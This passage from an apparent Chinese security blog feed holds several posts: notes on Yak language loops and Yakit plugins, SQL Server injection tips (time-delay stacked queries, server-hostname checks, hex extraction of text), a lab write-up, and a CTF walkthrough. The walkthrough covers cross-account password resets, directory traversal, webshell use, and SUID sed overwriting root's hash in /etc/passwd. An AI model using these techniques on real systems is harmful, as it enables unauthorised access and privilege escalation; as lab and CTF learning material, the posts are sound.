class="line">&#125;</span><br></pre></td></tr></table></figure><p>此外，<code>switch</code>允许一个<code>case</code>分支匹配多个值</p><h4 id="For循环"><a href="#For循环" class="headerlink" title="For循环"></a>For循环</h4><p>定义：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">for 表达式1 ; 表达式2 ; 表达式3 &#123;</span><br><span class="line">    循环体 </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>首先运行表达式1 -&gt; 判断表达式2，如果成立则运行循环体中的代码 -&gt; 每一次循环后执行表达式3 -&gt; 进行表达式2的判断并循环执行，直到表达式2判断为假，则结束整个函数。</p><p>TIPS：</p><p><strong>简化的For循环</strong></p><p>对于无初始化表达式和每次循环后的迭代表达式的for循环，可以写为：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">for 布尔表达式 &#123;</span><br><span class="line">    循环体</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>遍历列表</strong></p><p>使用<code>for-range</code>与使用<code>for-in</code>效果相同</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">for i, v = range a &#123;</span><br><span class="line">println(i, v)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">//等同于</span><br><span class="line"></span><br><span class="line">for v in a &#123;</span><br><span class="line">    println(v)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/*</span><br><span class="line">OUTPUT:</span><br><span class="line">0 a</span><br><span class="line">1 b</span><br><span class="line">2 c</span><br><span class="line">3 d</span><br><span class="line">*/</span><br></pre></td></tr></table></figure><ul><li><code>i, v</code>是我们在每次迭代中定义的两个变量，其中<code>i</code>将存储当前的索引，而<code>v</code>将存储与该索引对应的值（若只迭代一个变量，迭代的值将会是索引）。</li><li><code>range a</code>是一个表达式，它创建了一个从集合<code>a</code>中提取索引和值的范围。</li></ul><p><strong>遍历字典</strong></p><p>使用<code>for-range</code>&#x2F;<code>for-in</code>遍历字典，这样可以同时获取键和值：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">for k, v = range b &#123;</span><br><span class="line">    printf(&quot;%s:%d, &quot;, k, v)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">//等同于</span><br><span class="line"></span><br><span class="line">for k, v in b &#123;</span><br><span class="line">    printf(&quot;%s:%d, &quot;, k, v)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在这个循环中，<code>k</code>和<code>v</code>分别在每次迭代时被赋予字典中的键和对应的值</p><p><strong>遍历通道</strong></p><p>遍历通道中的数据可以使用<code>for-range</code>&#x2F;<code>for-in</code>语句来实现这一点：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">for result = range ch &#123; // 遍历通道内的数据</span><br><span class="line">    println(&quot;fetch chan var [ch] element: &quot;, result)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">//等同于</span><br><span class="line"></span><br><span class="line">for result in ch &#123; // 遍历通道内的数据</span><br><span class="line">    println(&quot;fetch chan var [ch] element: &quot;, result)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>直接指定循环次数</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">for in n &#123;</span><br><span class="line">// 循环体将执行n次</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如需当前的索引：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">for i in n &#123;</span><br><span class="line">// 可以使用变量i，它从0开始，直到n-1</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>或使用<code>range</code>关键字：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">for range n &#123;</span><br><span class="line">// 循环体将执行n次</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果需要索引，可以将<code>i</code>和<code>range</code>一起使用（注意：range 前有一个 <code>=</code>）：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">for i = range n &#123;</span><br><span class="line">// 可以使用变量i，它从0开始，直到n-1</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="插件"><a href="#插件" class="headerlink" title="插件"></a>插件</h2><p>Yakit的插件基本可以分成三种类型：交互式插件(Yak原生插件)、MITM 插件、Codec插件</p><p>交互式插件类似于单开一个功能页面</p><p>MITM 插件用于被动扫描时对漏洞进行检测</p><p>Codec插件用于对数据包进行操作，可以设置右键调用，对HTTP数据进行变形</p><h2 id="API"><a href="#API" class="headerlink" title="API"></a>API</h2><p>Yakit插件编写提供的API</p><p><a href="https://yaklang.com/api-manual/intro">API手册 | Yak Program Language</a></p><p>几个比较经常用到的API</p><p><a href="https://yaklang.com/api-manual/api/cli">https://yaklang.com/api-manual/api/cli</a> (用于输入插件所需的数据)</p><p><a href="https://yaklang.com/api-manual/api/codec">https://yaklang.com/api-manual/api/codec</a> (Crypto等操作)</p><p><a href="https://yaklang.com/api-manual/api/poc">https://yaklang.com/api-manual/api/poc</a>  (获得、修改数据包等操作)</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;Yak语言基础&quot;&gt;&lt;a href=&quot;#Yak语言基础&quot; class=&quot;headerlink&quot; title=&quot;Yak语言基础&quot;&gt;&lt;/a&gt;Yak语言基础&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;Yakit使用的是Yak语言，所以在写插件之前需要学习一下Yak语言（感觉</summary>
      
    
    
    
    <category term="tools" scheme="https://wells.host/categories/tools/"/>
    
    
    <category term="Tolls-Dev" scheme="https://wells.host/tags/Tolls-Dev/"/>
    
  </entry>
  
  <entry>
    <title>YunJing-GreatWall2024</title>
    <link href="https://wells.host/posts/6949a71/"/>
    <id>https://wells.host/posts/6949a71/</id>
    <published>2025-04-27T12:47:43.000Z</published>
    <updated>2025-08-05T09:16:33.163Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/posts/6949a71/image-20250427204830936.png" alt="image-20250427204830936"></p><p><img src="/posts/6949a71/image-20250427205016374.png" alt="image-20250427205016374"></p><p><img src="/posts/6949a71/image-20250427204815265.png" alt="image-20250427204815265"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/posts/6949a71/image-20250427204830936.png&quot; alt=&quot;image-20250427204830936&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/posts/6949a71/image-20250427205016</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>SQL Server下SQL注入的应用</title>
    <link href="https://wells.host/posts/e85eefb/"/>
    <id>https://wells.host/posts/e85eefb/</id>
    <published>2025-04-24T13:03:55.000Z</published>
    <updated>2025-08-05T09:16:33.185Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>写这篇文章的原因是在某次HVV期间遇到了个ASP.NET站点搭配使用了Microsoft Sql Server,于是想总结一下SQLI在SQLServer中的一些姿势</p></blockquote><h2 id="权限判断"><a href="#权限判断" class="headerlink" title="权限判断"></a>权限判断</h2><h2 id="Tips："><a href="#Tips：" class="headerlink" title="Tips："></a>Tips：</h2><h3 id="判断能否堆叠"><a href="#判断能否堆叠" class="headerlink" title="判断能否堆叠"></a>判断能否堆叠</h3><p>判断是否能堆叠注入可以使用下面语句作为堆叠的语句，人为设置响应延迟与正常响应时间进行对比从而判断第二个语句是否被执行</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">WAITFOR DELAY <span class="string">&#x27;00:00:05&#x27;</span>; <span class="comment">-- 执行暂停 5 秒钟</span></span><br></pre></td></tr></table></figure><ul><li>若响应时间大于设置的延迟说明第二个语句被执行</li><li>若存在堆叠，还可以根据延迟的时间判断传入的这个参数被多少句SQL语句中使用</li></ul><h3 id="判断站库分离"><a href="#判断站库分离" class="headerlink" title="判断站库分离"></a>判断站库分离</h3><blockquote><p><strong>站库分离</strong>：网站程序和数据库分别放在了不同的服务器上</p></blockquote><p><strong>判断站库分离可以通过判断客户端主机名和服务端主机名是否一致进而判断是否为站库分离</strong></p><p>获取客户端主机名</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> host_name();</span><br></pre></td></tr></table></figure><p>获取服务端主机名</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> @<span class="variable">@servername</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> serverproperty(<span class="string">&#x27;MachineName&#x27;</span>); </span><br></pre></td></tr></table></figure><p>若客户端主机名与服务端主机名一致则站库不分离，不一致则站库分离</p><p>在进行判断时可以在注入点后添加条件,若条件为真则站库不分离</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">AND</span> host_name()<span class="operator">=</span>@<span class="variable">@servername</span></span><br></pre></td></tr></table></figure><h3 id="查找站点路径"><a href="#查找站点路径" class="headerlink" title="查找站点路径"></a>查找站点路径</h3><p>可以通过IIS的配置文件applicationHost.config</p><p><code>C:\Windows\System32\inetsrv\config\applicationHost.config</code></p><h3 id="处理中文"><a href="#处理中文" class="headerlink" title="处理中文"></a>处理中文</h3><p>SQL Server中<code>ASCII ()</code>函数进行了说明👉<a href="https://learn.microsoft.com/zh-cn/sql/t-sql/functions/ascii-transact-sql?view=sql-server-ver16">ASCII (Transact-SQL) - SQL Server | Microsoft Learn</a></p><blockquote><p>ASCII 是一个 7 位字符集。 扩展的 ASCII（或称 High ASCII）是不由 <code>ASCII</code> 函数处理的 8 位字符集， <code>ASCII</code> 函数能够读取前 7 位的流，而不包括剩余的 1 位。</p><p> <code>UNICODE</code> 函数支持返回正确的字符码位，可以通过使用它来找到字符 <code>æ</code> 的正确码位。并可通过<code>NCHAR</code>函数恢复为字符</p></blockquote><p>但值得注意的是<strong>在 SQL Server 中，字符串字面量默认使用数据库的默认字符集进行处理</strong>，在遇到数据库使用字符集中<strong>不存在字符时</strong>，无论使用 <code>UNICODE</code> 函数还是转化为16进制依旧会<strong>转化成非预期结果</strong></p><p>并且一旦写入数据库，<strong>即使使用</strong> 如：<code>CAST(MyColumn AS nvarchar(MAX))</code> 将 列 <code>MyColumn</code> <strong>显式地转换</strong>为 <code>nvarchar</code> 类型<strong>也无法恢复</strong></p><blockquote><p>[!TIP]</p><p>若需要在不改变数据库的默认字符集情况下，能使用<code>UNICODE</code> 函数或转16进制时正确转化，建议大家这里根据情况将需要读的列<strong>设置为 <code>nvarchar</code> 类型</strong></p></blockquote><p>例如：在字符集Chinese_PRC_CI_AS下</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> UNICODE(<span class="string">&#x27;æ&#x27;</span>)</span><br></pre></td></tr></table></figure><p>结果为63而非230</p><p>在设置列为<code>nvarchar</code> 类型的前提下，对于中文的处理可以使用以下方式</p><ul><li><p><strong>将中文使用转化为<code>UNICODE</code>函数转化，再通过<code>NCHAR</code>函数恢复为中文</strong></p><p>例如：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> UNICODE(<span class="built_in">SUBSTRING</span>((<span class="keyword">SELECT</span> entry_value <span class="keyword">FROM</span> daily_back <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">16</span>), <span class="number">1</span>, <span class="number">1</span>))</span><br></pre></td></tr></table></figure></li><li><p><strong>将中文转化为16进制，再通过CyberChef的Recipe为<code>From Hex</code> -&gt;  <code>Decode text</code>编码方式选择为<code>UTF-16LE</code>恢复为中文</strong></p><p>例如：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="keyword">CONVERT</span>(<span class="type">varchar</span>(max), <span class="keyword">CONVERT</span>(<span class="type">varbinary</span>(max), (<span class="keyword">SELECT</span> entry_value <span class="keyword">FROM</span> daily_back <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">16</span>)), <span class="number">2</span>);</span><br></pre></td></tr></table></figure></li></ul><p>由于中文对应的UNICODE会很大很大，<strong>这里更推荐使用16进制进行</strong>。<del>不嫌麻烦也可以把UNICODE转化为十六进制</del></p>]]></content>
    
    
      
      
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;写这篇文章的原因是在某次HVV期间遇到了个ASP.NET站点搭配使用了Microsoft Sql Server,于是想总结一下SQLI在SQLServer中的一些姿势&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;权限判断&quot;&gt;&lt;a href=</summary>
      
    
    
    
    <category term="web" scheme="https://wells.host/categories/web/"/>
    
    
    <category term="CTF-Web" scheme="https://wells.host/tags/CTF-Web/"/>
    
    <category term="Web-SQL" scheme="https://wells.host/tags/Web-SQL/"/>
    
  </entry>
  
  <entry>
    <title>ADCS攻击</title>
    <link href="https://wells.host/posts/d13a6d0/"/>
    <id>https://wells.host/posts/d13a6d0/</id>
    <published>2025-04-04T05:32:46.000Z</published>
    <updated>2025-08-05T09:16:33.168Z</updated>
    
    
    
    
    <category term="penetration" scheme="https://wells.host/categories/penetration/"/>
    
    
  </entry>
  
  <entry>
    <title>春秋云镜-Certify</title>
    <link href="https://wells.host/posts/c964b814/"/>
    <id>https://wells.host/posts/c964b814/</id>
    <published>2025-04-03T09:58:57.000Z</published>
    <updated>2025-08-05T09:16:33.162Z</updated>
    
    <content type="html"><![CDATA[<p>Certify</p><blockquote><p><em>靶标介绍：</em></p><p>Certify是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag，分布于不同的靶机。</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">   ██████                   ██   ██   ████         </span><br><span class="line">  ██░░░░██                 ░██  ░░   ░██░   ██   ██</span><br><span class="line"> ██    ░░   █████  ██████ ██████ ██ ██████ ░░██ ██ </span><br><span class="line">░██        ██░░░██░░██░░█░░░██░ ░██░░░██░   ░░███  </span><br><span class="line">░██       ░███████ ░██ ░   ░██  ░██  ░██     ░██   </span><br><span class="line">░░██    ██░██░░░░  ░██     ░██  ░██  ░██     ██    </span><br><span class="line"> ░░██████ ░░██████░███     ░░██ ░██  ░██    ██     </span><br><span class="line">  ░░░░░░   ░░░░░░ ░░░       ░░  ░░   ░░    ░░  </span><br><span class="line">  </span><br></pre></td></tr></table></figure><p>老习惯</p><p><img src="/posts/c964b814/image-20250403180134612.png" alt="image-20250403180134612"></p><p><img src="/posts/c964b814/image-20250403180150842.png" alt="image-20250403180150842"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"> ________  _______   ________  _________  ___  ________ ___    ___ </span><br><span class="line">|\   ____\|\  ___ \ |\   __  \|\___   ___\\  \|\  _____\\  \  /  /|</span><br><span class="line">\ \  \___|\ \   __/|\ \  \|\  \|___ \  \_\ \  \ \  \__/\ \  \/  / /</span><br><span class="line"> \ \  \    \ \  \_|/_\ \   _  _\   \ \  \ \ \  \ \   __\\ \    / / </span><br><span class="line">  \ \  \____\ \  \_|\ \ \  \\  \|   \ \  \ \ \  \ \  \_| \/  /  /  </span><br><span class="line">   \ \_______\ \_______\ \__\\ _\    \ \__\ \ \__\ \__\__/  / /    </span><br><span class="line">    \|_______|\|_______|\|__|\|__|    \|__|  \|__|\|__|\___/ /     </span><br><span class="line">                                                      \|___|/      </span><br><span class="line"></span><br><span class="line">flag02: flag&#123;04484084-cc7b-40d2-8be1-fabd519f22a5&#125;</span><br><span class="line"></span><br><span class="line">Yes, you have enumerated smb. But do you know what an SPN is?</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="/posts/c964b814/image-20250403201947470.png" alt="image-20250403201947470"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;Certify&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;靶标介绍：&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Certify是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以</summary>
      
    
    
    
    <category term="WriteUp" scheme="https://wells.host/categories/WriteUp/"/>
    
    
  </entry>
  
  <entry>
    <title>Webshell提权</title>
    <link href="https://wells.host/posts/6f44101f/"/>
    <id>https://wells.host/posts/6f44101f/</id>
    <published>2025-03-27T13:03:01.000Z</published>
    <updated>2025-08-05T09:16:33.169Z</updated>
    
    <content type="html"><![CDATA[<h1 id="SUID提权"><a href="#SUID提权" class="headerlink" title="SUID提权"></a>SUID提权</h1><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>在Linux中suid可以让调用者以文件拥有者身份运行该文件，所以利用suid提权的核心就是运行root用户所拥有的suid的文件</p><h2 id="题目"><a href="#题目" class="headerlink" title="题目"></a>题目</h2><p><a href="https://www.nssctf.cn/problem/978">[湖湘杯 2021 final]Penetratable</a></p><p>这题很有渗透的感觉，建议当成渗透题目来做</p><p>可以先扫描一下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">┌──(wells㉿XiaoWEI)-[~]</span><br><span class="line">└─$ sudo dirsearch -u http://node4.anna.nssctf.cn:28571/</span><br><span class="line">/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html</span><br><span class="line">  from pkg_resources import DistributionNotFound, VersionConflict</span><br><span class="line"></span><br><span class="line">  _|. _ _  _  _  _ _|_    v0.4.3</span><br><span class="line"> (_||| _) (/_(_|| (_| )</span><br><span class="line"></span><br><span class="line">Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460</span><br><span class="line"></span><br><span class="line">Output File: /home/wells/reports/http_node4.anna.nssctf.cn_28571/__25-03-27_21-36-09.txt</span><br><span class="line"></span><br><span class="line">Target: http://node4.anna.nssctf.cn:28571/</span><br><span class="line"></span><br><span class="line">[21:36:09] Starting:</span><br><span class="line">[21:36:14] 403 -  288B  - /.ht_wsr.txt</span><br><span class="line">[21:36:14] 403 -  288B  - /.htaccess.bak1</span><br><span class="line">[21:36:14] 403 -  288B  - /.htaccess.orig</span><br><span class="line">[21:36:14] 403 -  288B  - /.htaccess_extra</span><br><span class="line">[21:36:14] 403 -  288B  - /.htaccess.sample</span><br><span class="line">[21:36:14] 403 -  288B  - /.htaccess.save</span><br><span class="line">[21:36:14] 403 -  288B  - /.htaccessBAK</span><br><span class="line">[21:36:14] 403 -  288B  - /.htaccess_sc</span><br><span class="line">[21:36:14] 403 -  288B  - /.htaccess_orig</span><br><span class="line">[21:36:14] 403 -  288B  - /.htaccessOLD</span><br><span class="line">[21:36:14] 403 -  288B  - /.htaccessOLD2</span><br><span class="line">[21:36:14] 403 -  288B  - /.htm</span><br><span class="line">[21:36:14] 403 -  288B  - /.html</span><br><span class="line">[21:36:14] 403 -  288B  - /.htpasswds</span><br><span class="line">[21:36:14] 403 -  288B  - /.httr-oauth</span><br><span class="line">[21:36:14] 403 -  288B  - /.htpasswd_test</span><br><span class="line">[21:36:15] 403 -  288B  - /.php</span><br><span class="line">[21:36:28] 301 -  335B  - /app  -&gt;  http://node4.anna.nssctf.cn:28571/app/</span><br><span class="line">[21:36:28] 200 -  520B  - /app/</span><br><span class="line">[21:36:33] 301 -  338B  - /config  -&gt;  http://node4.anna.nssctf.cn:28571/config/</span><br><span class="line">[21:36:33] 200 -  487B  - /config/</span><br><span class="line">[21:36:53] 200 -    0B  - /phpinfo.php</span><br><span class="line">[21:36:59] 403 -  288B  - /server-status/</span><br><span class="line">[21:36:59] 403 -  288B  - /server-status</span><br><span class="line">[21:37:03] 301 -  338B  - /static  -&gt;  http://node4.anna.nssctf.cn:28571/static/</span><br></pre></td></tr></table></figure><p>有一个<code>phpinfo.php</code>但直接访问没有任何东西</p><p>回到主题页面来</p><p>通过修改id参数可以知道有两个用户一个root一个admin，尝试构造注入等也没有任何收获</p><p><img src="/posts/6f44101f/image-20250327211036823.png" alt="image-20250327211036823"></p><p>在findsomething中能找到已知的路由</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">/?c=admin</span><br><span class="line">/?c=admin&amp;m=updatePass</span><br><span class="line">/?c=app&amp;m=login</span><br><span class="line">/?c=app&amp;m=register</span><br><span class="line">/?c=app&amp;m=signOut</span><br><span class="line">/?c=root</span><br><span class="line">/?c=root&amp;m=downloadRequestLog&amp;filename=</span><br><span class="line">/?c=root&amp;m=getLogList</span><br><span class="line">/?c=root&amp;m=getUserInfo</span><br><span class="line">/?c=user</span><br><span class="line">/?c=user&amp;m=updateUserInfo</span><br></pre></td></tr></table></figure><p>尝试直接登录<code>/?c=admin</code>和<code>/?c=root</code>会提示没有权限</p><p>尝试注册一个正常的用户，登录进去后会发现有修改密码的功能</p><p><img src="/posts/6f44101f/image-20250327211349849.png" alt="image-20250327211349849"></p><p>这里可以修改自己的密码，想越权到修改其他用户的密码</p><p>尝试抓包修改</p><p><img src="/posts/6f44101f/image-20250327212047822.png" alt="image-20250327212047822"></p><p>发现成功修改admin的密码，但在修改root的时候被提示没有权限</p><p>这里猜测可以通过<code>/?c=admin&amp;m=updatePass</code>这个路由进行修改root用户的密码</p><p>登录admin用户，查看<code>/?c=admin&amp;m=updatePass</code>中所需要的参数</p><p><code>/static/js/req.js</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">function updatePass()&#123;</span><br><span class="line">    // let name=encodeURIComponent(Base64.encode($(&quot;.input-group&gt;input&quot;).eq(0).val()))</span><br><span class="line">    // let oldPass=$(&quot;.input-group&gt;input&quot;).eq(1).val()?hex_md5($(&quot;.input-group&gt;input&quot;).eq(1).val()):&#x27;&#x27;;</span><br><span class="line">    // let newPass=$(&quot;.input-group&gt;input&quot;).eq(2).val()?hex_md5($(&quot;.input-group&gt;input&quot;).eq(2).val()):&#x27;&#x27;;</span><br><span class="line">    // let saying=encodeURIComponent(Base64.encode($(&quot;.input-group&gt;input&quot;).eq(3).val()))</span><br><span class="line">    // $.ajax(&#123;</span><br><span class="line">    //     url: &#x27;/?c=admin&amp;m=updatePass&#x27;,</span><br><span class="line">    //     type: &#x27;post&#x27;,</span><br><span class="line">    //     data: &#x27;name=&#x27;+name+&#x27;&amp;newPass=&#x27;+newPass+&#x27;&amp;oldPass=&#x27;+oldPass+&#x27;&amp;saying=&#x27;+saying,</span><br><span class="line">    //     // async:true,</span><br><span class="line">    //     dataType: &#x27;text&#x27;,</span><br><span class="line">    //     success: function(data)&#123;</span><br><span class="line">    //         alertHandle(data);</span><br><span class="line">    //     &#125;</span><br><span class="line">    // &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>尝试使用这个被注释的路由，通过这个路由成功修改root的密码</p><p><img src="/posts/6f44101f/image-20250327214317419.png" alt="image-20250327214317419"></p><p>登录进root的面板发现有个log的文件，与<code>/?c=root&amp;m=downloadRequestLog&amp;filename=</code>与之对应，发现有个目录穿越，发现在根目录有&#x2F;flag文件但无法读取，应该是需要提权的</p><p><img src="/posts/6f44101f/image-20250327214430620.png" alt="image-20250327214430620"></p><p>这边犯傻了，把所有文件都看了一遍还以为在主体代码有什么rce漏洞，后面才注意到最开始扫到的<code>phpinfo.php</code>这个文件。。。</p><p><img src="/posts/6f44101f/image-20250327214942265.png" alt="image-20250327214942265"></p><p>通过CMD5查询到Webshell的密码为<code>1q2w3e</code></p><p><img src="/posts/6f44101f/image-20250327215043554.png" alt="image-20250327215043554"></p><p>反弹个shell后查看一下flag的文件权限</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-r--------   1 root root   45 Mar 27 15:20 flag</span><br></pre></td></tr></table></figure><p>看来是要提权，先看一下suid提权</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">www-data@6aae652213e24b63:/var/www/html$ find / -perm -u=s -type f 2&gt;/dev/null</span><br><span class="line">/bin/su</span><br><span class="line">/bin/sed</span><br><span class="line">/bin/umount</span><br><span class="line">/bin/mount</span><br><span class="line">/usr/bin/passwd</span><br><span class="line">/usr/bin/newgrp</span><br><span class="line">/usr/bin/chsh</span><br><span class="line">/usr/bin/gpasswd</span><br><span class="line">/usr/bin/chfn</span><br><span class="line">/usr/lib/openssh/ssh-keysign</span><br></pre></td></tr></table></figure><p>发现有sed，尝试使用sed替换<code>/etc/passwd</code>中密码的部分</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">www-data@6aae652213e24b63:/var/www/html$ perl -le &#x27;print crypt(&quot;test&quot;,&quot;addedsalt&quot;)&#x27;</span><br><span class="line">adMpHktIn0tR2</span><br><span class="line">www-data@6aae652213e24b63:/var/www/html$ sed -i &#x27;s/root:x/root:adMpHktIn0tR2/g&#x27; /etc/passwd</span><br><span class="line">www-data@6aae652213e24b63:/var/www/html$ su</span><br><span class="line">Password: </span><br><span class="line">root@6aae652213e24b63:/var/www/html# cat /flag</span><br><span class="line">NSSCTF&#123;689a8f95-ec99-490e-8dbf-65f9df21d716&#125;</span><br></pre></td></tr></table></figure><h1 id="SUDO提权"><a href="#SUDO提权" class="headerlink" title="SUDO提权"></a><code>SUDO</code>提权</h1><p><code>sudo -l</code></p><p><a 